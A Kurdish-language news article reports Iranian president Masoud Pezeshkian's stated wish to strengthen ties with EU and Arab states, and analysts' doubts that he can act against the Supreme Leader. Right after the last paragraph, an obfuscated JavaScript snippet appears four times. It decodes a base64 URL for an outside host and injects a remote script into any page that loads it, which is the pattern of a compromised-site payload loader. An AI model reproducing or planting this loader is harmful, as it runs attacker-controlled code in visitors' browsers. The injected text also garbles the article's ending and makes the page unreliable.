دێ پەیوەندیێن خوە ل گەل ئێکەتیا ئۆرۆپا و وەلاتێن عەرەبی بهێز کەین

سەرۆک کۆمارێ نوو یێ ئیرانێ راگەهاند وان دڤێت پەیوەندیێن خوە ل گەل وەلاتێن ئێکەتیا ئۆرۆپا و وەلاتێن عەرەبی بهێز بکەن و هەروەسا دڤێت ئەمریکا ژی ڤێ راستیێ باش بزانیت کو ب سزادان و فشاران ئەو نەشێن رەوشا دەڤەرێ ئارام کەن دڤێت ئەمریکا راستیا هەی قەبوول بکەت.

مەسعود پزیشکیان سەرۆک کۆمارێ نوو یێ ئیرانێ بۆ دەزگەهێن راگەهاندنا وی وەلاتی بەس بەرنامێ خوە کر و راگەهاند ئیرانێ دڤێت پەیوەندیێن خوە ل گەل وەلاتێن ئێکەتیا ئۆرۆپا بهێز بکەت و پرسێن هەی ل گەل وان وەلاتان ب تەمامی چارەسەر بکەت، چونکی ئەو یەک د بەرژەوەندیا هەر دو ئالیان دایە، مە نەڤێت وەلاتێن ئێکەتیا ئۆرۆپا ل گۆر بەرژەوەندیێن ئەمریکا سەرەدەریێ ل گەل ئیرانێ بکەن، ئەو یەک چو ئەنجامێن خوە نابن، لێ مە دڤێت ل گۆر بەرژەوەندیێن هەڤپشک ل گەل وەلاتێن ئێکەتیا ئۆرۆپا پێکڤە دەست ب قۆناغەکا نوو بکەین.
ناڤهاتی سەبارەت ب پەیوەندیێن ل گەل وەلاتێن عەرەبی ژی دیار کرن، ئیرانێ دڤێت پەیوەندیێن خوە ل گەل عەرەبستانا سعوودیێ، قەتەر و هەموو وەلاتێن دی یێن عەربی ا و بهێز بکەت، چونکی پێدڤیا رۆژهەلاتا ناڤین ب ئارامیێ و ئاشتیێ هەیە، ئیرانێ دڤێت رۆلەکا کاریگەری بۆ ئاشتیێ بگێریت، ژ بەر ڤێ یەکێ ژی وەکو سەرۆک کۆمارێ نوو یێ ئیرانێ وی دڤێت ل گەل هەموو وەلاتێن عەرەبی دەست ب قۆناغەکا نوو بکەت و هەموو پرسێن هەی ژی ب رێیا دانوستاندنان چارەسەر بکەت، ئەو یەک دێ بیتە ئەگەر دەڤەرا رۆژهەلاتا ناڤین ب گشتی یا ئارام بیت.
ل ئالیێ دی چاڤدێرێن سیاسی ل ئیرانێ ژی دیار دکەن، سۆزێن کو سەرۆک کۆمارێ ئیرانێ بەرێ نها داینە خەلکی گەلەک گرنگن، لێ گەلەک یا ب زەحمەتە کو مەسعود پزیشکیان بشێت سۆزێن خوە بجه بینیت، چونکی هەم د ئاستێ ناڤخوەیی یا ئیرانێ دا و هم ژی د ئاستێ دەرڤە دا دێ گەلەک ئاستەنگی بۆ دروست بن، هەروەسا رێبەرێ شۆرەشا ئیسلامی یا ئیرانێ ژی نەڤێت ل گەل ئەمریکا دەست ب قۆناغەکا نوو بهێتە کرن و ل ئالیێ دی بەرپرسێن ئەمریکا ژی دبێژن سەرۆک کۆمارێ نوو یێ ئیرانێ ئەو شیان و دەستهەلات نینە کو بشێت گوهۆڕینێن بنگەهین بکەت، چونکی رێبەرێ شۆرەشا ئیسلامی یا ئیرانێ رێ نادەت چو گوهۆڕینێن بنگەهین بهێنە کرن.
ل گۆر باوەریا چاڤدێرێن سیاسی هاتنا سەرۆک کۆمارێ نوو یێ ئیرانێ تنێ بۆ ڤێ یەکێ یە دا فشارێن ل سەر دەستهەلاتا نها یا ئیرانێ د ئاستێ ناڤخوەیی و دەرڤە دا کێم ببن، چونکی دەستهەلاتا نها یا ئیرانێ نەشێت چو گوهۆڕینێن بنگەهن بکەت، ژ بەر ڤێ یەکێ ژی ژ بلی هندەک گوهۆڕینێن بچوویک د سیاسەتا ناڤخوەیی دا سەرۆک کۆمارێ ئیرانێ نەشێت سۆزێن کو بەری نها داینە خەلکی بجه بینیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە